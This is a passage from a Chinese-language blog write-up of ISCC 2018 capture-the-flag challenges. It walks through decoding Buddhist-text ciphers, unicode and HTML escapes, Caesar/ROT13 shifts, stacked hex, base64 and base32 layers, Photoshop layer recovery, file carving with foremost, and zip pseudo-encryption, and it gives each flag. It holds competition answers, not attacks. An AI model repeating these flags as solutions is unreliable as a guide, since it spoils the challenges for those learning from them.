<p><code class="highlighter-rouge">缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗</code></p>
<p><a href="http://www.keyfc.net/bbs/tools/tudoucode.aspx" target="_blank" rel="noopener">tudoucode</a></p>
<p>解密</p>
<p><code class="highlighter-rouge">把我复制走</code></p>
<h2 id="有趣的-iscc">有趣的 ISCC</h2>
<p><a href="/wp-content/uploads/2018/05/1527078391.jpg"><img loading="lazy" class="alignnone size-full wp-image-271" src="/wp-content/uploads/2018/05/1527078391.jpg" alt="" width="648" height="657" /></a></p>
<p>winhex 末尾</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#54;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#99;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#49;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#55;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#98;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#57;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#50;&amp;#48;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#57;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#50;&amp;#48;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#54;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#53;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#101;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#100;
</code></pre>
</div>
</div>
<p>unicode 解码</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d
</code></pre>
</div>
</div>
<p>再解一次</p>
<p><code class="highlighter-rouge">flag{iscc is fun}</code></p>
<h2 id="where-is-the-flag">Where is the FLAG?</h2>
<p><a href="/wp-content/uploads/2018/05/1527078393.jpg"><img loading="lazy" class="alignnone size-full wp-image-272" src="/wp-content/uploads/2018/05/1527078393.jpg" alt="" width="267" height="264" /></a></p>
<p>拖进 tweakpng 看到 Adobe Photoshop</p>
<p>打开后拼接图层</p>
<p><a href="/wp-content/uploads/2018/05/1527078394.jpg"><img loading="lazy" class="alignnone size-full wp-image-273" src="/wp-content/uploads/2018/05/1527078394.jpg" alt="" width="390" height="391" /></a></p>
<p>扫描即可得到 flag</p>
<h2 id="凯撒十三世">凯撒十三世</h2>
<p><code class="highlighter-rouge">ebdgc697g95w3</code></p>
<p>13 次移位</p>
<p><code class="highlighter-rouge">roqtp697t95j3</code></p>
<p>提交发现不对 后来想想 flag 开头应该是 flag{} 之类的</p>
<p><code class="highlighter-rouge">r -&gt; f o -&gt; l q -&gt; a t -&gt; g</code></p>
<p>以此类推</p>
<p><code class="highlighter-rouge">flag:yougotme</code></p>
<h2 id="一只猫的心思">一只猫的心思</h2>
<p><a href="/wp-content/uploads/2018/05/1527078395.jpg"><img loading="lazy" class="alignnone size-full wp-image-274" src="/wp-content/uploads/2018/05/1527078395.jpg" alt="" width="726" height="687" /></a></p>
<p>foremost 分离出 doc</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通
</code></pre>
</div>
</div>
<p>拿之前的网址解密</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46
</code></pre>
</div>
</div>
<p>hex</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>R1VaREdNSlVHVTNVQ05KU0dRMlRNTkJVSVUyVEdOU0RHWTJESU9CVkdJMlRNTlpRR1UyVEtOSlRHQVpUS05DREdVWkRHTUJXR1EyVUNOQ0ZHUTNES01SVkdBMlRJTkpXRzRZREtOWlZHTTJUTU5TQ0c0NFRLTVJVR1kyRUtOQ0ZHVTNUTVFaVklFMkRRTkpYR1UzRE9NQlZHVTJUSU5KVkdNWVRNTUpWR1kzRUVOU0RHVkFUSVJCV0lNMlRNTkJVR1UyRE1RUlVJVTJEUU5KU0dNWVRPTUJVR00yVE1OQlZHWTJES01CVkdFM0VHTktCR1JBVEtOWlZHUTJFQ05CVkdVMkRHTUJUR0UzRENOSldHUTJUTU5CVkdZMkVJTlNDR1VaRElRWlZHUTJUS05DQkdVMlRLTVJUR0EyRE1OUlJHVTNESU5KVUlVMkVNTkpSR01ZREtRSlVIQTJUTU5KVUdSQVRJTVJWR0EyVElNWlFHTTRUS01CVkdFWlVJTTJF
</code></pre>
</div>
</div>
<p>base64</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>GUZDGMJUGU3UCNJSGQ2TMNBUIU2TGNSDGY2DIOBVGI2TMNZQGU2TKNJTGAZTKNCDGUZDGMBWGQ2UCNCFGQ3DKMRVGA2TINJWG4YDKNZVGM2TMNSCG44TKMRUGY2EKNCFGU3TMQZVIE2DQNJXGU3DOMBVGU2TINJVGMYTMMJVGY3EENSDGVATIRBWIM2TMNBUGU2DMQRUIU2DQNJSGMYTOMBUGM2TMNBVGY2DKMBVGE3EGNKBGRATKNZVGQ2ECNBVGU2DGMBTGE3DCNJWGQ2TMNBVGY2EINSCGUZDIQZVGQ2TKNCBGU2TKMRTGA2DMNRRGU3DINJUIU2EMNJRGMYDKQJUHA2TMNJUGRATIMRVGA2TIMZQGM4TKMBVGEZUIM2E
</code></pre>
</div>
</div>
<p>base32</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>5231457A5245644E536C6448525670555530354C5230645A4E4652505456705753566B7952464E4E576C5A485756705554553161566B6C5A4D6C5644546B4E485231704356456450516C5A4A57544A4554303161564564564D6B524C54554A555230466156454E4F51305A4856544A425054303950513D3D
</code></pre>
</div>
</div>
<p>hex</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>R1EzREdNSldHRVpUU05LR0dZNFRPTVpWSVkyRFNNWlZHWVpUTU1aVklZMlVDTkNHR1pCVEdPQlZJWTJET01aVEdVMkRLTUJUR0FaVENOQ0ZHVTJBPT09PQ==
</code></pre>
</div>
</div>
<p>base64</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>GQ3DGMJWGEZTSNKGGY4TOMZVIY2DSMZVGYZTMMZVIY2UCNCGGZBTGOBVIY2DOMZTGU2DKMBTGAZTCNCFGU2A====
</code></pre>
</div>
</div>
<p>base32</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>463161395F69735F493563635F5A4F6C385F4733545030314E54
</code></pre>
</div>
</div>
<p>hex</p>
<p><code class="highlighter-rouge">F1a9_is_I5cc_ZOl8_G3TP01NT</code></p>
<h2 id="暴力xx不可取">暴力XX不可取</h2>
<p>zip 文件 猜测为伪加密</p>
<p>ZipCenOp.jar</p>
<p>解压后打开 flag.txt</p>
<p><code class="highlighter-rouge">vfppjrnerpbzvat</code></p>
<p>凯撒移位 每一对都试一遍</p>
<p><code class="highlighter-rouge">isccwearecoming</code></p>
<p>13 次移位</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
